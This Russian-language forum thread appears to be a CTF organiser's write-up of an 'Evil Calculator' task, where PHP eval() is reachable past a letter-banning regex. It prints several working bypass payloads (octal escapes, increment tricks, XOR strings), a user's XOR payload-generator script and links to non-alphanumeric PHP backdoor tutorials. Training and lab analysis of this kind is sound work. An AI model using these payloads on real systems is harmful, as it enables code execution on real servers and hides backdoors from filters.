Кстати, шутка зашла, пересчитал, точно - 13 . Но это, когда нагрузка делится get+post. Есть подозрение что всю посылку можно уместить в input и сделать короче 16 символов.
Как это работает?? Можно более подробно объяснить??? ${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?
http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/ http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf https://sinister.ly/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors
В связи с тем,что активность последние дни была практически нулевой - мной было принято решение не много отклониться от правил, но в целом сохранить общую концепцию.Так как решения по таску 2 перестали присылать я решил сфокусироваться на активной аудитории, которая решила таск 2 и начала думать как можно решить другими способами, в том числе самым коротким вариантом.В связи с чем я закрываю основную часть задания но продолжу принимать мини-задачу до субботы.Что касается "Вот же решение - кому то халявная репа". С момента, как я стал выкладывать короткие варианты - мне прислали только 1 решение таска и оно было абсолютно другим,поэтому халявы тут нет и не будет.Так же парни, которые писали "Прошел" и не присылали пруфы и которым ставили репутацию - остались без нее. Простите, но я не верю на слово.Что касается решений и их разбора.Этим я займусь в выходные,опубликую все ваши решения,скрипты, которые вы присылали, а так же сделаю разбор некоторых вариантов решения.
С момента запуска второго таска прошло 2 недели, а это значит самое время подвести итоги и закрыть все задания.Логи показывают что активность есть, есть интерес к решению задач не очевидными способами.Это очень здорово,все кто решал - молодцы.Все кто решал и по каким то причинам не смог решить - не стоит расстраиваться.Будут еще задачи где вы сможете проявить себя.Мы стараемся реализовывать задачи таким образом,что бы вы научились смотреть на код несколько иначе,чем вы смотрите сейчас,учились правильно искать нужную информацию и применять в своих целях. Уверен, спустя некоторое время вы эти и последующие задачи будете решать играючи. Теперь что касается содержания данного поста.Первая часть будет посвящена разбору некоторых возможных вариантов решения.Я позволил себе некоторую вольность и условно разделил все решения на 2 вида: С цифрами Без цифр Поэтому я распишу один элементарный способ решения с цифрами и пару способов без них.Когда вы поймете принцип - вам будет не сложно разобраться со всеми остальными вариантами. Во второй части будут ваши решения/программы и другой доп.материал, который вы мне скинули. Итак.Заходим на http://task2.antichat.com и первое что бросается в глаза это форма и ее название. Из этого делаем вывод, что мы имеем калькулятор и input для ввода данных. Пробуем ввести 1 + 3 и получаем как и ожидалось 4. Пробуем ввести abc и получаем "Hacker Detected!!!". Картина постепенно вырисовывается. Пробуем посмотреть исходный код страницы в надежде получить какую либо доп.информацию.В итоге обнаруживаем ссылку на сорцы: Code: <!--<a href='?cmd=source'>Source Code </a> --> Отлично, проходим по ссылке и видим следующее: PHP: <html><head></head><body><h4> Evil Calculator </h4><form action='' method='post'> <input type='text' id='input' name='input' /> <input type='submit' /><?phpif(isset($_GET['cmd']) && $_GET['cmd'] === 'source' ){ show_source(__FILE__); die();}if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['input'])) { if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){ print '<fieldset><legend>Result</legend>'; eval('print '.$_POST['input'].";"); print '</fieldset>'; } else echo "<p>Hacker Detected!!!</p>";}?></form><!--<a href='?cmd=source'>Source Code </a> --></body></html> Уже что то.Видим eval и видим preg_match. Понимаем, что здесь классическое RCE и начинаем думать как можно обойти preg_match, который нам напрямую запрещает использовать алфавит.На помощь приходит документация по php. Так как мы работаем со строками,есть смысл заглянуть в документацию по строкам php и посмотреть, какие возможности они нам предоставляют.Заходим в документацию: http://php.net/manual/ru/language.types.string.php и начинаем ее изучать. Листаем не много до "Управляющие последовательности" и видим следующее: Смотрим в регулярку и понимаем, что слеш вполне допустим,цифры,так как это калькулятор тоже. Ну и остается дело за малым.Можем руками, можем через сторонние ресурсы, например, http://www.unit-conversion.info/texttools/octal/ перевести "phpinfo" в oct. Дальше,все что нам остается это добавить () и послать запрос.Итоговая конструкция будет выглядеть так: Spoiler: Решение Code: "\160\150\160\151\156\146\157"() В конечном итоге получаем вывод функции phpinfo(). Теперь разберем пару вариантов без цифр. В php инкремент работает не только на цифрах,но и на буквах, следовательно такой код имеет место быть: PHP: <?php$a = 'a';echo ++$a; //b Исходя из этого нам нужно понять, как можно получить буквы.Вспоминаем,что если массив привести к строке, то мы получим слово Array. Основываясь на этом получаем такой код: PHP: <?php$_=[];$_="$_"; // $_='Array'; Теперь у нас в переменной есть строка.Отлично.Теперь нам необходимо вытащить первую букву.Сделать это можно, например, так: PHP: echo $_=$_['!'=='@']; // $_=$_[0]; A Замечательно, мы вытащили первую букву.Теперь средствами инкремента мы можем сделать из нее B: PHP: $___=$_;echo ++$___; //B Дальше либо руками, либо какими то средствами автоматизации, основываясь на выше сказанном получаем phpinfo, добавляем () и отправляем: Spoiler: Решение PHP: $_ = [];$_=@"$_";$_=$_['!'=='@'];$__=$_;$___=$_;$____=$_;$______=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____ = $___;$____++;$______++;$______++;$______++;$______++;$______++;$_____ = $____;$_____++;$_____++;$_____++;$_____++;$_____++;$_______ = $_____;$_______++;$__ = $__.$___.$__.$____.$_____.$______.$_______;$__(); Вариант с XOR разобран детально здесь:https://sinister.ly/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors . Если вкратце, то нам нужно найти такую комбинацию из двух строк,результатом XOR которых будет нужная буква: PHP: var_dump('^'^'.'); //p Вот пример решения: Spoiler: Решение PHP: $_=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@').('='^'[').('/'^'@');${$_()} Крайне сложно все охватить в одном посте, поэтому тем, кто захочет копнуть глубже, или рассмотреть варианты с $_GET например, то если загуглить php bypass alpha и/или non-alphanumeric php code вы найдете ответы на все интересующие вас вопросы. Теперь перейдем к решениям: Spoiler: Решения TASK2 @l1ght @monotrue @cat1vo @OneManTeam @crabovwik @=HALK= @oleg_1va @MichelleBoxing @Gorbachev @dais @b3 @Franky_T @xmp @qwaszx000 @grimnir @redscout @Jerri @rudi @Shubka75 @Deathdreams @Alaich @unstppbl @PCD @danilkib95 @Stepan999 @Coost @WockeeZz @D3N @VentaL74 @Cybersteger @grellario @to the moon @sinusu @GoldJoker @WoS @Dimionx @topthing Так же хочу отметить отдельно @D3N . Он решил написать "Генератор-Переводчик".Выкладываю его здесь,вдруг кому пригодится. PHP: <?php// словарь символов которые будут использоваться для сборки нужной фразы$arr[] = '!';$arr[] = '"';$arr[] = '$';$arr[] = '%';$arr[] = '&';$arr[] = '(';$arr[] = ')';$arr[] = '*';$arr[] = '+';$arr[] = ',';$arr[] = '-';$arr[] = '.';$arr[] = '/';$arr[] = '0';$arr[] = '1';$arr[] = '2';$arr[] = '3';$arr[] = '4';$arr[] = '5';$arr[] = '6';$arr[] = '7';$arr[] = '8';$arr[] = '9';$arr[] = ':';$arr[] = ';';$arr[] = '<';$arr[] = '=';$arr[] = '>';$arr[] = '?';$arr[] = '@';$arr[] = '[';$arr[] = ']';$arr[] = '^';$arr[] = '_';$arr[] = '`';$arr[] = '{';$arr[] = '|';$arr[] = '}';$arr[] = '~';$arr[] = '`';$arr[] = '';$arr[] = '‚';$arr[] = 'ƒ';$arr[] = '„';$arr[] = '…';$arr[] = '†';$arr[] = '‡';$arr[] = 'ˆ';$arr[] = '‰';$arr[] = 'Š';$arr[] = '‹';$arr[] = 'Œ';$arr[] = '';$arr[] = 'Ž';$arr[] = '';$arr[] = '';$arr[] = '‘';$arr[] = '’';$arr[] = '“';$arr[] = '”';$arr[] = '•';$arr[] = '–';$arr[] = '—';$arr[] = '˜';$arr[] = '™';$arr[] = 'š';$arr[] = '›';$arr[] = 'œ';$arr[] = '';$arr[] = 'ž';$arr[] = 'Ÿ';$arr[] = '¡';$arr[] = '¢';$arr[] = '£';$arr[] = '¤';$arr[] = '¥';$arr[] = '¦';$arr[] = '§';$arr[] = '¨';$arr[] = '©';$arr[] = 'ª';$arr[] = '«';$arr[] = '¬';$arr[] = '%';$arr[] = '®';$arr[] = '¯';$arr[] = '°';$arr[] = '±';$arr[] = '²';$arr[] = '³';$arr[] = '´';$arr[] = 'µ';$arr[] = '¶';$arr[] = '·';$arr[] = '¸';$arr[] = '¹';$arr[] = 'º';$arr[] = '»';$arr[] = '¼';$arr[] = '½';$arr[] = '¾';$arr[] = '¿';$arr[] = 'À';$arr[] = 'Á';$arr[] = 'Â';$arr[] = 'Ã';$arr[] = 'Ä';$arr[] = 'Å';$arr[] = 'Æ';$arr[] = 'Ç';$arr[] = 'È';$arr[] = 'É';$arr[] = 'Ê';$arr[] = 'Ë';$arr[] = 'Ì';$arr[] = 'Í';$arr[] = 'Î';$arr[] = 'Ï';$arr[] = 'Ð';$arr[] = 'Ñ';$arr[] = 'Ò';$arr[] = 'Ó';$arr[] = 'Ô';$arr[] = 'Õ';$arr[] = 'Ö';$arr[] = '×';$arr[] = 'Ø';$arr[] = 'Ù';$arr[] = 'Ú';$arr[] = 'Û';$arr[] = 'Ü';$arr[] = 'Ý';$arr[] = 'Þ';$arr[] = 'ß';$arr[] = 'à';$arr[] = 'á';$arr[] = 'â';$arr[] = 'ã';$arr[] = 'ä';$arr[] = 'å';$arr[] = 'æ';$arr[] = 'ç';$arr[] = 'è';$arr[] = 'é';$arr[] = 'ê';$arr[] = 'ë';$arr[] = 'ì';$arr[] = 'í';$arr[] = 'î';$arr[] = 'ï';$arr[] = 'ð';$arr[] = 'ñ';$arr[] = 'ò';$arr[] = 'ó';$arr[] = 'ô';$arr[] = 'õ';$arr[] = 'ö';$arr[] = '÷';$arr[] = 'ø';$arr[] = 'ù';$arr[] = 'ú';$arr[] = 'û';$arr[] = 'ü';$arr[] = 'ý';$arr[] = 'þ';$arr[] = 'ÿ';// Разрешенные для перевода символы.$cap_letters[] = 'A';$cap_letters[] = 'B';$cap_letters[] = 'C';$cap_letters[] = 'D';$cap_letters[] = 'E';$cap_letters[] = 'F';$cap_letters[] = 'G';$cap_letters[] = 'H';$cap_letters[] = 'I';$cap_letters[] = 'J';$cap_letters[] = 'K';$cap_letters[] = 'L';$cap_letters[] = 'M';$cap_letters[] = 'N';$cap_letters[] = 'O';$cap_letters[] = 'P';$cap_letters[] = 'Q';$cap_letters[] = 'R';$cap_letters[] = 'S';$cap_letters[] = 'T';$cap_letters[] = 'U';$cap_letters[] = 'V';$cap_letters[] = 'W';$cap_letters[] = 'X';$cap_letters[] = 'Y';$cap_letters[] = 'Z';$letters[] = 'a';$letters[] = 'b';$letters[] = 'c';$letters[] = 'd';$letters[] = 'e';$letters[] = 'f';$letters[] = 'g';$letters[] = 'h';$letters[] = 'i';$letters[] = 'j';$letters[] = 'k';$letters[] = 'l';$letters[] = 'm';$letters[] = 'n';$letters[] = 'o';$letters[] = 'p';$letters[] = 'q';$letters[] = 'r';$letters[] = 's';$letters[] = 't';$letters[] = 'u';$letters[] = 'v';$letters[] = 'w';$letters[] = 'x';$letters[] = 'y';$letters[] = 'z';$xors = array();for ($i = 0; $i < count($arr); ++$i) { for ($j = $i + 1; $j < count($arr); ++$j) { if (in_array($arr[$i] ^ $arr[$j], $letters)) { $temp = array('letter' => $arr[$i] ^ $arr[$j], 'x1' => $arr[$i], 'x2' => $arr[$j]); $xors[] = $temp; } }}// фраза которую нужно "перевести"$command = "phpinfo";$comm_array = str_split($command);$result = "";for ($j = 0; $j < count($comm_array); $j++) { $key = array_search($comm_array[$j], array_column($xors, 'letter')); if ($key) { $result .= "('" . $xors[$key]['x1'] . "'^'" . $xors[$key]['x2'] . "')"; } if ($j != count($comm_array) - 1) { $result .= "."; }}// готовый payload. Нужно добавить "();"print($result); Если я кого то случайно не включил в список, или же включил но не полностью - пишите мне в ПМ. Решавших было не мало, некоторые присылали сразу несколько решений, некоторые присылали по одному, но в разных сообщениях, поэтому вполне мог что то упустить. В скором времени стартует новый таск, так что вперед, с новыми силами и приятного похека!
Огромное спасибо за разборчики и решения, ну и спасибо @D3N за переводчик! Вообще, я начинающий в этом деле, приятно видеть что тут поддерживают новичков, а не пытаются закрыться от них гигантскими хайдами. Взял новые знания на вооружение.